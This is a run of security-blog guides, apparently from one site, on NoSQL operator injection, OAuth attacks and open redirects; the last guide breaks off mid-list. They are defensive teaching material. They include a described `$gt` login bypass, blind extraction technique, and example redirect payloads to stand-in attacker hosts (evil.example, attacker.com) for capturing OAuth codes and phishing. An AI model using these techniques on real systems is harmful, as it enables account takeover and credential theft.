Blind NoSQL injection extracts data by asking yes-or-no questions the app answers through its behavior. Does the admin password start with the letter a? Submit an operator that is true only in that case and watch whether the login succeeds. Repeat across each position and each candidate character and the full value falls out, one comparison at a time. When there is no visible success signal, timing works instead: force the database to do expensive work only when a condition holds, and measure the response delay.
Blind extraction is slower than reading a response directly, and automated tooling makes it routine. Treating a bug as low risk because it returns no data is a mistake.
## How it differs from SQL injection in practice
The family resemblance is strong, and the differences are worth naming because they change how you test and defend.
The first difference is the payload shape. SQL injection typically breaks out of a string literal with quotes and comments, so testers watch for quote characters. NoSQL operator injection often carries no special characters at all. The payload is a well-formed object with an operator key, which slides past filters built to catch SQL metacharacters. A reviewer looking only for quotes and semicolons will miss it.
The second difference is the parsing surface. SQL injection usually enters through a single string that gets concatenated. NoSQL injection can enter through the structure of the request itself, because the body is deserialized into objects before your code sees it. The vulnerability sometimes lives in how the framework parses `field[$gt]` or a nested JSON object, one layer below the query code, which makes it easy to overlook during a line-by-line read of the query builder.
The third difference is the language surface area. Relational databases share a broadly common SQL dialect. Document databases each ship their own operators, aggregation stages, and evaluation features, so the injectable surface varies by product. A control that assumes one operator vocabulary can leave another database's operators wide open.
What does not differ is the fix. In both worlds, the answer is to keep user input as typed data and out of query structure. The specifics of the driver change; the principle does not.
## Why input filtering is not enough
The reflex is to strip suspicious characters or reject inputs that contain a dollar sign or a dot. This is brittle for the same reasons blocklists fail everywhere. Encodings differ, operator names vary between databases, and the parsing layer may reconstruct a blocked structure after your filter has run. Filtering also attacks the symptom. The real defect is that input can become query structure at all.
Validation still matters, but as a positive control: confirm the input is the type and shape you expect, and reject everything else. That is a different posture from hunting for known-bad strings. See the [Input Validation Guide](/input-validation-guide) for the allowlist mindset this depends on.
## How to actually defend against NoSQL injection
The controls that hold up keep user input as data and never let it define query logic.
1. **Parameterize queries.** Use the driver's mechanism for binding values so input is passed as data, never concatenated or merged into query structure. Build query objects from typed variables, not from raw request objects.
2. **Type and shape every input at the boundary.** If a field must be a string, cast and verify it is a string before it reaches a query. Reject objects, arrays, and operators where a scalar belongs. A schema validator at the edge closes most operator-injection paths in one place.
3. **Do not spread request bodies directly into queries.** Building a query object by copying the whole request body invites unexpected fields and operators. Pull out named fields with known types.
4. **Disable server-side code evaluation.** Turn off query features that evaluate arbitrary expressions or JavaScript unless a specific need justifies them, and keep user input out of them entirely.
5. **Constrain regular-expression inputs.** If a feature legitimately needs pattern search, do not let the user supply a raw pattern. Escape it or offer a fixed set of safe options.
6. **Apply least privilege to the database account.** The application's database credentials should grant only the operations the app needs, so a successful injection has a smaller reach.
Every injection class, SQL and NoSQL alike, comes down to one boundary: does user input stay data, or can it become instruction. Parameterize so it stays data, validate its type so it cannot masquerade as structure, and the specific query language stops mattering.
## A worked authentication bypass
Following the classic login bypass step by step shows how a type confusion becomes a full walk past the password check.
The application exposes a login form that takes a username and a password. On the server, the handler builds a query object asking the database to find a user whose username field equals the submitted username and whose password field equals the submitted password. When both fields arrive as ordinary strings, the query means what the developer intended: return the one user whose stored password matches exactly.
The attacker changes the shape of the request. Instead of sending the password as a string, they send it as an object carrying a comparison operator, for example a `$gt` operator compared against an empty value, which reads as password is greater than nothing. Because the driver accepts a rich object anywhere it accepts a value, the query object is now asking the database to find a user whose password is greater than an empty string. Every stored password satisfies that condition, so the database returns a matching user. The handler sees a returned record, concludes the credentials were valid, and grants a session. The attacker logged in with no knowledge of any password.
The same trick with the username field, or with a match-anything regular-expression operator, lets the attacker steer which account they authenticate as. Aim the operator so the first matching user is an administrator and the bypass becomes an administrator login. Nothing in the payload contained a quote, a semicolon, or any of the metacharacters a SQL-oriented filter watches for. The payload was a well-formed object, and the entire attack lived in sending a structure where the code expected a scalar.
A defender watching for quotes, semicolons, and comment markers sees nothing suspicious in a NoSQL operator-injection payload, because it contains none of them. The malicious content is the type of the value, an object instead of a string, and its operator key. This is why filtering for SQL metacharacters gives false confidence here. The control that works is pinning each input to its expected primitive type at the boundary, so an object can never stand in for a string in the first place.
## Detection signals
Operator injection has a different footprint from SQL injection, so the signals to watch for differ too.
- **Request fields arriving as objects or arrays where scalars are expected.** A login or lookup field that deserializes into a structure carrying an operator key is the direct fingerprint of an attempt. Logging and alerting on type mismatches at the input boundary surfaces it.
- **Operator keys in user input.** Field names beginning with the operator marker, such as a `$` prefix, or bracket-nested parameters like `field[$gt]` in form and query-string data, indicate someone is probing the parsing layer.
- **Authentication successes without a matching credential.** A login that succeeds where no stored password should have matched, visible in application invariants, points to a bypass that already worked.
- **Regular-expression values in fields meant to be exact.** A field that suddenly carries a pattern rather than a literal, especially a broad or expensive pattern, can signal both bypass and blind-extraction attempts.
- **Timing patterns consistent with blind extraction.** A sequence of requests to the same endpoint with response delays that cluster around a threshold can indicate time-based extraction probing one condition at a time.
- **High request volume against a single lookup.** Blind boolean extraction asks many yes-or-no questions, so a burst of similar requests differing only in a small part of one field is a hint that data is being walked out one character at a time.
## Blind extraction in more detail
The login case shows bypass. Blind extraction shows how the same class leaks data even when the application returns nothing but success or failure.
The attacker treats the application's behaviour as a one-bit oracle. To read a secret value one character at a time, they submit an operator that is true only when the value satisfies some condition, for example a regular-expression anchor testing whether the target field begins with a particular character. If the login succeeds, the guess was right. If it fails, the guess was wrong. By walking through candidate characters at each position, the attacker reconstructs the whole value, comparison by comparison.
When there is no visible success or failure difference, timing supplies the oracle instead. The attacker crafts a condition that forces the database into expensive work only when the condition holds, then measures the response delay. A slow response means the condition was true, a fast one means it was false, and the same character-by-character walk proceeds on the strength of the clock rather than a visible result. Blind extraction is slower than reading a response directly, and automated tooling makes it routine, so a bug that returns no data is still a data-disclosure bug.
## How NoSQL injection evolved
The vulnerability arrived with the databases. As document and key-value stores spread, applications began building queries from structured objects assembled out of request data, and the injection class followed the query-building pattern into the new grammar. Early exploitation focused on the authentication bypass, because it was dramatic and required nothing more than sending an object where a string was expected.
Understanding matured toward the underlying cause, which is the type confusion at the request boundary, and the defensive guidance converged on the same discipline that addresses SQL injection: keep user input as typed data and out of query structure. Some document databases historically shipped features that evaluate code inside a query, which raised the ceiling of impact from data disclosure to code execution, and guidance moved toward disabling those features unless a specific need justifies them. The grammar changed, and the root cause and the fix stayed the same.
## Operator families to keep out of user values
Different operator families produce different impact when they reach a value the developer expected to be a plain string. The table names the common ones.
| Operator family | Example intent | Impact when injected |
|---|---|---|
| Comparison | Greater-than or not-equal against a value | Authentication bypass, broadened filters |
| Regular expression | Pattern match on a field | Bypass and blind extraction |
| Existence or type | Whether a field exists or is a given type | Filter manipulation, enumeration |
| Logical | Combine conditions | Rewriting query logic entirely |
| Evaluated expression | Run code against each document | Server-side code execution |
The last family is the most severe, because it turns a data question into code running on the database engine. Those features should be disabled unless there is a compelling reason to keep them, and user input should never reach them.
## Common misconceptions
The first misconception is that leaving SQL behind left injection behind. Document databases dropped the SQL grammar and kept the runtime assembly of queries from user-controlled data, so the injection class moved with the query pattern rather than disappearing.
The second misconception is that filtering dangerous characters is a defense. NoSQL operator injection often carries no special characters at all, so a blocklist tuned for SQL metacharacters misses it entirely. The real defect is that input can become query structure, and only typing the input as data closes it.
The third misconception is that a bug returning no data is low risk. Blind and time-based techniques extract data one condition at a time even when the application shows only success or failure, so a silent endpoint is still exploitable. Treating it as minor is a mistake.
The fourth misconception is that validation and parameterization are the same control. Parameterization keeps input as data through the driver. Validation confirms the input is the type and shape expected. They reinforce each other, and relying on validation alone leaves gaps wherever a shape slips through, while relying on binding alone misses inputs that were malformed before the query built.
## Frequently asked questions
**What makes NoSQL injection possible?**
Queries are assembled at runtime from data the user controls, and many drivers accept a rich object anywhere they accept a value. When a field that should be a string can arrive as an object carrying a query operator, the user input alters the query's logic instead of sitting inside it as a value.
**What is operator injection?**
It is the defining technique of NoSQL injection. Document query languages express logic through operators such as comparison, negation, and regular-expression match. Operator injection smuggles one of those operators into a place the developer meant to hold a plain value, which changes what the query means.
**How does the authentication bypass work?**
The attacker sends the password field as an object carrying a match-anything comparison, so the query asks for a user whose password satisfies a condition every stored password meets. The database returns a matching user, the handler treats that as valid credentials, and a session is granted with no password known.
**Is NoSQL injection less dangerous than SQL injection?**
No. It reaches authentication bypass, unauthorized data reads, and blind extraction just as SQL injection does, and in query languages that evaluate code it reaches server-side code execution, which is the most severe outcome on the ladder. The impact is comparable, and the payloads simply look different.
**Why does character filtering fail against it?**
Operator-injection payloads are often well-formed objects with no quotes, semicolons, or comment markers, so filters built for SQL metacharacters see nothing to block. Encodings differ, operator names vary by database, and the parsing layer may reconstruct a blocked structure after a filter runs. Positive type validation is the control that holds.
**How do I stop it?**
Keep user input as typed data and out of query structure. Parameterize through the driver, pin every input to its expected primitive type at the boundary, avoid spreading whole request bodies into queries, disable server-side code evaluation, constrain regular-expression inputs, and apply least privilege to the database account.
**Does using an object-mapping library protect me?**
An object-document mapper that enforces a strict schema helps, because it can reject fields that arrive with the wrong type before they reach a query. It is not automatic protection. Loosely typed schemas, raw query passthroughs, and copying request bodies into query objects can each reintroduce the path, so the typing has to be strict and the raw escapes avoided.
NoSQL injection is proof that injection was never about SQL. It was about mixing untrusted input with query logic. Keep input strictly typed at the edge, bind it as data through the driver, switch off code-evaluating query features, and the document database is no more injectable than a well-parameterized relational one. Cross-reference the live exploitation view in our Exploit Intelligence dashboard to see how injection flaws in public apps move from disclosure to active use.
## Related guides
- [SQL Injection Explained](/sql-injection-explained)
- [API Abuse Explained](/api-abuse-explained)
- [Input Validation Guide](/input-validation-guide)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
### Sources
- OWASP: Testing for NoSQL Injection (OWASP): https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection
- OWASP Top 10: A03 Injection (OWASP): https://owasp.org/Top10/A03_2021-Injection/
- MITRE ATT&CK: Exploit Public-Facing Application (T1190) (MITRE): https://attack.mitre.org/techniques/T1190/
---
## OAuth Attacks: redirect_uri Manipulation, Codes & CSRF
> How OAuth 2.0 attacks work: redirect_uri manipulation, stolen authorization codes, CSRF on the login flow, and how PKCE defends it.
- URL: https://blog.pwnsy.com/oauth-attacks-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: oauth, web-security, authentication, api-security, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- OAuth 2.0 hands out access by passing an authorization code through the user's browser, and most OAuth attacks target the moment that code changes hands.
- A loose redirect_uri lets an attacker redirect the code to a site they control, turning an account link into an account takeover.
- Without a state parameter the flow is open to CSRF, letting an attacker graft their own session onto the victim's account or the reverse.
- PKCE binds the authorization code to the client that started the flow, which neutralizes stolen-code and interception attacks.
### Key Takeaways
- The authorization server must match redirect_uri against a registered value exactly, with no wildcard, prefix, or substring shortcuts.
- Always send and verify a state parameter so the callback can be tied back to the request that began it.
- PKCE should be used on every OAuth client, public and confidential, because it defends the code exchange without a shared secret.
- Authorization codes must be single-use and short-lived, and the token endpoint must reject a code that has already been redeemed.
- Treat the redirect back to your app as attacker-influenced, and validate every parameter before acting on it.
OAuth 2.0 is the machinery behind "Sign in with" buttons and the delegated access that lets one app act on your behalf in another. It is everywhere, and its security depends on a short sequence of redirects going exactly right. When any step is loose, the same flow that grants access to the rightful user can be steered to grant it to an attacker.
This guide covers the OAuth attacks that show up most often in real assessments: redirect_uri manipulation, stolen authorization codes, and cross-site request forgery on the flow itself. Each one exploits a specific gap, and each has a specific fix. For the mechanics of the flow from the start, see [OAuth 2.0 Explained](/oauth-2-explained).
## The flow in one paragraph
In the authorization code flow, your app sends the user to the authorization server with a `client_id`, a `redirect_uri`, and a `state`. The user logs in and approves. The authorization server redirects the browser back to the `redirect_uri` carrying a short-lived authorization `code`. Your app's backend then exchanges that code, plus its client credentials, at the token endpoint for an access token. The code travels through the user's browser. The token does not. Everything below is about what can go wrong with that code in transit.
## redirect_uri manipulation
The `redirect_uri` tells the authorization server where to send the code. If the server does not match it strictly against a pre-registered value, an attacker can point it somewhere they control.
Suppose the legitimate callback is `https://app.example/callback`. If the authorization server accepts anything on the domain, or matches only a prefix, an attacker can craft a request with a `redirect_uri` such as `https://app.example.attacker.com/callback` or `https://app.example/callback/../../evil`. The victim logs in normally, and the authorization server dutifully sends the code to the attacker's endpoint. The attacker then exchanges it and lands inside the victim's linked account.
Common weaknesses that enable this:
- Wildcard or subdomain matching on the registered redirect.
- Prefix matching, where the check only confirms the URL starts with an allowed value.
- Open redirects on the legitimate domain, where an allowed callback bounces the code onward to an attacker. See [Open Redirect Explained](/open-redirect-explained) for how that chain forms.
- Accepting extra path segments, fragments, or query parameters that change the effective destination.
The defense is unglamorous and absolute: exact string matching against a registered `redirect_uri`, no wildcards, no prefixes, no normalization surprises.
The single most common OAuth flaw is a permissive redirect_uri check. If the authorization server allows any wildcard, subdomain, or partial match, an attacker can capture authorization codes for real users. Register the full callback URLs and compare them byte for byte.
## Stolen authorization codes
Even with a correct redirect, the authorization code is a bearer of access while it lives. Anyone who obtains a valid, unused code can attempt to redeem it. Codes leak through several channels:
- **Referrer headers**, if the callback page loads external resources and the code is in the URL.
- **Browser history and logs**, proxies, and any intermediary that records full URLs.
- **Open redirects and injection** on the callback page that expose the query string.
- **A malicious app** on the same device intercepting a redirect to a custom URL scheme, the classic mobile problem.
Two rules limit the value of a stolen code. First, codes must be single-use: the token endpoint redeems a code once and refuses it forever after, so a race between attacker and victim ends the moment either redeems it. Second, codes must be short-lived, giving an attacker a narrow window. Neither rule prevents interception on its own, which is what PKCE is for.
## CSRF on the OAuth flow
Cross-site request forgery against OAuth comes in two shapes, and both are prevented by the `state` parameter.
In the first, an attacker starts their own OAuth flow, obtains a valid authorization code for their account, and then tricks the victim's browser into completing the callback with that code. If the app has no `state` check, the victim's session gets linked to the attacker's account. Anything the victim then saves, a payment method, private notes, uploaded files, lands in an account the attacker controls.
In the second, the attacker forces the victim through the attacker's login, quietly connecting the victim's session to the attacker's identity at the provider.
The `state` parameter closes both. Your app generates an unguessable value, ties it to the user's session, sends it in the authorization request, and verifies on the callback that the returned `state` matches. A forged callback carries no valid `state`, so it is rejected. This is the same anti-CSRF pattern used elsewhere on the web, applied to the login handshake.
## Leaking tokens through the front channel
The authorization code flow keeps tokens off the browser by exchanging the code on the backend. An older pattern, the implicit flow, skipped that step and returned the access token directly in the redirect URL fragment. That put the token everywhere a URL goes: browser history, referrer headers, server logs, and any script on the callback page. The implicit flow is now discouraged for exactly this reason, and new clients should use the authorization code flow with PKCE instead.
The general lesson holds beyond implicit flow. Any time a token or code lands in a URL, treat it as exposed. Keep the response type set to `code`, complete the exchange server-side, and make sure the callback page does not load third-party scripts or resources while sensitive values sit in the address bar.
## Account pre-linking and scope abuse
Two more moves are worth knowing. In a pre-account-linking attack, an attacker connects their own social login to a target account before the victim ever does, so when the victim later signs in through that provider they land in an account the attacker already controls. Requiring a fresh, authenticated confirmation before linking a new identity provider closes this.
Scope abuse is the other. If your app requests broad scopes it does not need, a stolen token grants the attacker more than the feature ever required. Request the narrowest scopes that make the feature work, and have your resource server enforce that a token is only accepted for the scopes it was actually granted.
## PKCE: binding the code to its client
Proof Key for Code Exchange, defined in RFC 7636, was designed for mobile and single-page apps that cannot keep a client secret, and it is now recommended for every OAuth client.
The mechanism is simple. Before starting the flow, the client generates a random `code_verifier` and sends a hashed version, the `code_challenge`, in the authorization request. When it later exchanges the code at the token endpoint, it must present the original `code_verifier`. The authorization server hashes it and confirms it matches the challenge from the start of the flow. A stolen code is useless to an attacker who does not also hold the matching verifier, which never left the legitimate client.
PKCE is what turns code interception from a working attack into a dead end. It does not replace strict redirect matching or `state`; it layers on top of them.
## Attack summary
| Attack | Where it strikes | Root cause | Primary defense |
|---|---|---|---|
| redirect_uri manipulation | Authorization request | Loose redirect matching | Exact-match registered URIs |
| Stolen authorization code | Code in transit | Code leaks, replayable code | Single-use short-lived codes, PKCE |
| CSRF on the flow | The callback | Missing state binding | Unguessable state, verified on return |
| Code interception | Mobile or SPA redirect | No client-to-code binding | PKCE on every client |
Stealing and replaying these access tokens maps to [Steal Application Access Token (T1528)](https://attack.mitre.org/techniques/T1528/) on MITRE ATT&CK.
## A redirect_uri capture, step by step
It helps to trace a single attack from start to finish, because the individual weaknesses only become dangerous when they chain. Picture an app whose real callback is `https://app.example/callback`, registered with a provider that matches redirect values by prefix rather than exactly.
The attacker starts by reading the app's public authorization request. Anyone can see it, because it travels in the browser as a plain URL when a user clicks the sign-in button. From it the attacker learns the `client_id`, the `scope` list, and the shape of the `redirect_uri`. Nothing here is secret, and that is the point: the front channel of OAuth is designed to be visible.
Next the attacker crafts a malicious authorization URL. It reuses the legitimate `client_id` and `scope`, but swaps the redirect to a value the loose matcher still accepts, for example `https://app.example.attacker.com/callback` if the check only confirms the string begins with `https://app.example`. The attacker delivers this URL to the victim through a phishing message, a malicious ad, or a link on a page the victim already trusts.
The victim clicks. Because they are already logged in at the provider, or because they log in now, the provider sees a valid session and a `client_id` it recognizes. It generates an authorization code and redirects the browser to the attacker's chosen callback. The victim never sees a warning, because from the provider's view nothing is wrong: a known client asked for a code and got one.
The code now lands on the attacker's server. If the app used no PKCE and holds a confidential client secret, the attacker cannot complete the exchange alone, but a code that reaches an attacker-controlled endpoint on a domain the app also serves can often be replayed into the app's own session. Where the client is public and there is no PKCE, the attacker exchanges the code directly and receives tokens scoped to the victim. Either way the strict controls were bypassed at a single point: the redirect match.
Every link in that chain has a named fix. Exact redirect matching breaks step two. PKCE breaks the final exchange. A verified `state` breaks the forged callback variant. The attack works only when several of those are missing at once, which is why layered controls matter more than any single one.
## Detection signals
Most OAuth abuse is quiet by design, because the attacker rides the legitimate flow. Detection therefore leans on the authorization server's logs and on watching for shapes that a normal client never produces.
- **Authorization requests with unregistered or near-miss redirect values.** A request whose `redirect_uri` almost matches a registered callback, differing by a subdomain, an extra path segment, or a trailing parameter, is a strong signal of a redirect probe. Log every rejected redirect and alert when a known `client_id` starts sending unfamiliar ones.
- **Codes redeemed from unexpected network locations.** An authorization code issued to one client and then exchanged from an IP range or autonomous system the client never uses points to interception. Correlate the address that received the code with the address that redeems it.
- **Repeated single-use code failures.** A spike in token-endpoint rejections for already-redeemed codes can mean an attacker is racing a victim to redeem, or replaying captured codes. Treat a rise in second-redemption attempts as an active-abuse indicator.
- **Callbacks arriving with absent or mismatched state.** If your application logs callbacks, a burst of requests carrying no `state`, or a `state` that does not tie to any live session, is the classic footprint of a CSRF attempt against the flow.
- **Authorization requests for unusually broad scopes.** A client that normally asks for a narrow scope suddenly requesting everything can indicate a tampered or attacker-authored request.
Teams often instrument the token endpoint and ignore the authorization endpoint, which is where redirect and state abuse first shows. Record every authorization request with its client_id, redirect_uri, scope, and state presence, and every redirect rejection. The earliest evidence of an OAuth attack is a rejected or near-miss redirect, long before any token is issued.
## Common mistakes and misconceptions
A few beliefs recur and each one leaves a real gap.
**"PKCE is only for mobile and single-page apps."** PKCE was born there because those clients cannot hold a secret, but the current guidance applies it to every client. A confidential web app still benefits, because PKCE defends the code exchange independently of the client secret and closes interception paths a secret alone does not.
**"A client secret makes the flow safe, so redirect matching can be loose."** The secret protects the token exchange, and the redirect governs where the code is delivered. A loose redirect leaks the code to the attacker before the exchange ever happens, and in many real deployments the code alone is enough to hijack a session. The two controls defend different steps and neither substitutes for the other.
**"state and PKCE do the same thing, so one is enough."** They solve different problems. The `state` parameter binds the callback to the browser session that started the flow, which defeats CSRF. PKCE binds the code to the client instance that requested it, which defeats interception. Dropping either one reopens the attack it was there to stop.
**"The implicit flow is fine if the site uses HTTPS."** Transport encryption does not keep a token out of browser history, referrer headers, or scripts running on the callback page. The token lands in the URL fragment regardless of TLS. The authorization code flow with PKCE is the current recommendation for exactly this reason.
**"Validating the redirect once at registration is enough."** Registration records the allowed values, but the authorization server must compare the incoming `redirect_uri` against them on every single request, as an exact string. A check that runs only at registration time and trusts the request thereafter is no check at all.
## The flows compared
The grant type an app chooses decides how much front-channel exposure it carries. The table sets the common options side by side.
| Flow | Token delivery | Front-channel exposure | Current standing |
|---|---|---|---|
| Authorization code with PKCE | Backend exchange, token never in browser | Only the short-lived code, bound by PKCE | Recommended for all clients |
| Authorization code without PKCE | Backend exchange | Code exposed to interception | Acceptable only with a confidential client and exact redirect matching, PKCE still preferred |
| Implicit | Token returned in URL fragment | Full token in the browser URL | Discouraged, replaced by code plus PKCE |
| Resource owner password | App collects the provider password | App sees the raw password | Discouraged, defeats delegation |
The trend across the table is toward keeping secrets off the browser and binding what does travel through it. Where an older flow exposed a token or a password to the front channel, the modern flow exposes only a code that PKCE renders useless to a thief.
## How OAuth security evolved
The early OAuth 2.0 framework, RFC 6749, described several grant types and left many security choices to implementers. The implicit flow returned tokens straight to the browser, which suited the single-page apps of the time but scattered tokens through the front channel. The resource owner password grant let an app collect a user's provider password directly, which defeated the delegation the framework was meant to provide.
Over the following years the guidance tightened as attacks accumulated in the field. PKCE arrived in RFC 7636 to protect public clients, then broadened into a recommendation for all clients. The OAuth 2.0 Security Best Current Practice consolidated the hard lessons: exact redirect matching, PKCE everywhere, no implicit flow, no password grant. OAuth 2.1, still consolidating at the time of writing, folds those practices into the baseline so that the safe path is the default rather than an add-on. The direction of travel is consistent: remove the flexible options that turned out to be footguns, and make the code-plus-PKCE flow the one obvious way to build.
## Frequently asked questions
**Does PKCE replace the state parameter?**
No. PKCE stops a stolen code from being exchanged by anyone but the original client, and `state` stops a forged callback from being accepted by the browser session. Use both. They cover different attacker moves and neither one covers the other's.
**Is the authorization code secret?**
Treat it as sensitive but short-lived. It is a bearer of access while it is unused and unexpired, so anyone who captures a live code can attempt to redeem it. Codes must be single-use and expire quickly, and PKCE ensures that even a captured code is useless without the matching verifier.
**Can an attacker do damage with only a client_id?**
The `client_id` is public and identifies the app, so knowing it is expected. On its own it grants nothing. The risk appears when the attacker combines a known `client_id` with a loose redirect or a missing PKCE check, which is why those server-side controls carry the weight.
**Why is exact redirect matching preferred over allowlisting patterns?**
Patterns invite mistakes. A wildcard, a prefix, or a normalization rule almost always admits a value the author did not intend, such as a subdomain an attacker can register or a path that traverses elsewhere. Exact string comparison against fully registered URLs removes the entire category of matching bugs.
**Is OAuth the same as OpenID Connect?**
They are related but distinct. OAuth 2.0 grants delegated access to resources. OpenID Connect is an identity layer built on top of OAuth that adds an ID token proving who the user is. The attacks here target the shared OAuth machinery, so they apply to OpenID Connect flows as well.
**What is the single most impactful control?**
Exact redirect matching combined with PKCE. Redirect matching keeps the code from being delivered to an attacker, and PKCE keeps a captured code from being exchanged. Those two together close the most common and most damaging paths.
## How to defend the OAuth flow
1. **Match redirect_uri exactly.** Register full callback URLs and compare them as exact strings. Drop wildcard, subdomain, and prefix matching entirely.
2. **Require PKCE for every client.** Public or confidential, PKCE binds the code to the client that started the flow and neutralizes interception.
3. **Send and verify state.** Generate an unguessable value per request, tie it to the session, and reject any callback whose state does not match.
4. **Make codes single-use and short-lived.** Redeem each code once, then reject it. Keep the lifetime to a minute or two.
5. **Keep tokens off the front channel.** Exchange the code for tokens on the backend so access tokens never appear in a browser URL or history.
6. **Fix open redirects on your domain.** An allowed callback that forwards a code to an arbitrary URL undoes the strict matching above.
Authentication and authorization flaws are among the most exploited classes in modern breaches. Our Exploit Intelligence dashboard shows which vulnerability classes are under active exploitation, so you can prioritize the OAuth and identity fixes that matter now.
OAuth security is a chain of small guarantees. Match the redirect exactly, bind the code with PKCE, verify the state, and burn the code after one use. Each control covers a different attacker move, and together they leave the authorization code with nowhere to be stolen and nothing to be replayed against.
## Related guides
- [JWT Attacks Explained](/jwt-attacks-explained)
- [OAuth 2.0 Explained](/oauth-2-explained)
- [Open Redirect Explained](/open-redirect-explained)
- [API Security Guide](/api-security-guide)
### Sources
- PortSwigger Web Security Academy: OAuth 2.0 authentication vulnerabilities (PortSwigger): https://portswigger.net/web-security/oauth
- RFC 6749: The OAuth 2.0 Authorization Framework (IETF): https://datatracker.ietf.org/doc/html/rfc6749
- RFC 7636: Proof Key for Code Exchange (PKCE) (IETF): https://datatracker.ietf.org/doc/html/rfc7636
---
## Open Redirect: How Unvalidated Redirects Launder Phishing
> How open redirects let attackers borrow your domain's trust to send victims to malicious sites, why filters fail, and how an allowlist stops it.
- URL: https://blog.pwnsy.com/open-redirect-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: open-redirect, web-security, owasp, phishing, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [AitM Phishing Explained: How Reverse-Proxy Kits Bypass MFA](https://blog.pwnsy.com/aitm-phishing-explained)
### TL;DR
- An open redirect is a URL on your site that forwards the browser to any destination supplied in a parameter, without checking where it points.
- Attackers use it to launder phishing links: the visible link starts with your trusted domain, and the redirect quietly delivers the victim to a malicious site.
- The bug also amplifies other attacks, feeding OAuth token theft, filter bypasses, and credential-harvesting flows that rely on a trusted starting origin.
- The fix is to never redirect to a raw user-supplied URL; map to an internal allowlist of known-good destinations and reject everything else.
### Key Takeaways
- The trust an open redirect abuses is your domain's reputation, which is why users and email filters wave the link through.
- Blocklist filters that check for your domain name in the parameter are routinely bypassed with subdomains, `@` tricks, encoding, and protocol-relative URLs.
- Redirects to attacker origins are especially dangerous in OAuth and SSO flows, where they can leak authorization codes or tokens.
- The robust control is an allowlist of relative paths or a fixed set of approved destinations, resolved server-side from an opaque key.
- If external redirects are genuinely required, an interstitial warning page and strict URL parsing reduce, though do not eliminate, the risk.
An open redirect looks harmless on its own. A URL on your site takes a parameter that says where to go next and sends the browser there. No data leaks, nothing is overwritten, the vulnerable page itself is never damaged. The value of the bug is entirely borrowed. What an attacker gets is your domain's good name printed at the front of a link that ends up somewhere hostile. Users and security filters both judge a link by its starting domain, which makes that worth a great deal.
Open redirects rarely rank as the most severe finding in a report, and they are frequently dismissed. That dismissal is the reason they persist, and the reason phishing campaigns keep reaching for them.
## The core idea
Applications legitimately redirect users all the time. After login, send them back to the page they came from. After an action, forward them to a confirmation. To remember the original destination, the app often stashes it in a URL parameter:
```
https://your-app.example/login?next=/dashboard
```
That is fine when `next` can only ever be an internal path. The vulnerability appears when the application takes whatever is in that parameter and redirects to it verbatim, including a full external URL:
```
https://your-app.example/login?next=https://evil.example/login
```
A victim who clicks sees a link that begins with `your-app.example`, a domain they trust and may have bookmarked. They land on `evil.example`, which has been built to look exactly like your login page. They type their password into it. The redirect did its job silently, and your domain supplied the credibility that made the lure convincing.
## Why this is a phishing multiplier
Phishing succeeds or fails on whether the target believes the link. Two things judge a link before a human decides to click:
- **The person**, who glances at the visible domain and reads it as safe because it is one they know.
- **The email or messaging security filter**, which scores links partly on the reputation of the domain they point to.
An open redirect on a reputable domain satisfies both. The human sees a familiar brand. The filter sees a request to a trusted, well-established site and lets it through, because the malicious destination is hidden in a parameter rather than in the visible host. The redirect is the sleight of hand that converts your reputation into cover for someone else's attack.
Open redirects are often triaged as informational because the vulnerable page leaks nothing directly. Judge them by what they enable instead. A redirect on a bank, a government portal, or a widely trusted SaaS domain is a premium phishing asset, and it is exactly those high-trust domains where the bug does the most damage.
## Beyond phishing
The trust an open redirect provides feeds other attacks:
- **OAuth and SSO token theft.** Authorization flows send tokens or codes to a redirect URI. If the redirect target can be steered to an attacker origin, those secrets can leak. This is why OAuth specifications insist on strict, pre-registered redirect URIs.
- **Filter and control bypass.** Server-side checks that allow requests to your own domain can be tricked when your domain then bounces the request onward, chaining an open redirect into requests the filter meant to block.
- **Two-stage credential flows.** An attacker can pass through your legitimate login, then use the redirect to hand the now-authenticated user to a page that harvests a second factor or a session.
## Where open redirects hide
| Location | Typical parameter role |
|---|---|
| Login and logout flows | Remembering where to return the user after auth |
| OAuth and SSO callbacks | Carrying the post-authorization destination |
| Marketing and tracking links | Bouncing through a redirector to log the click |
| Language or region switchers | Returning the user to their prior page |
| Legacy `redirect`, `url`, `return`, `next`, `dest` params | Generic "go here next" handlers |
DOM-based open redirects are a related class, where client-side JavaScript reads a value from the URL or fragment and assigns it to `location`, moving the same flaw into the browser.
## Why filtering the URL fails
The tempting fix is to check that the destination "contains your domain" or "starts with your domain." Attackers have a long list of ways past this:
- **Subdomain and lookalike tricks**, where `your-app.example.evil.example` or `your-app-example.evil.example` contains your brand as a substring but is not your site.
- **The `@` credential syntax**, where `https://your-app.example@evil.example/` is parsed by the browser as a request to `evil.example` with `your-app.example` treated as a username.
- **Protocol-relative URLs** like `//evil.example`, which the browser resolves to an external site while passing a naive "does not start with http" check.
- **Encoding and obfuscation**, including URL-encoded characters, backslashes, and mixed forms that your validator normalizes differently from the browser.
Every one of these exploits a gap between how your check reads the string and how the browser interprets it. Blocklists lose this race by design.
## How to defend against open redirects
The controls that hold up remove the attacker's ability to name an arbitrary destination.
1. **Do not redirect to user-supplied URLs at all where you can avoid it.** Most "return here" needs can be met by redirecting only to internal, relative paths and rejecting anything that looks like an absolute URL or a protocol-relative one.
2. **Use an allowlist resolved from an opaque key.** Instead of accepting a destination, accept a short identifier and look up the real URL server-side from a fixed table of approved destinations. The attacker never controls the URL, only which approved entry is chosen.
3. **Validate that internal redirects stay internal.** If you accept a path, confirm it begins with a single `/` and not `//` or `/\`, and reject anything containing a scheme or host. Parse with a real URL parser, then check the resulting host against your own, rather than string-matching the raw input.
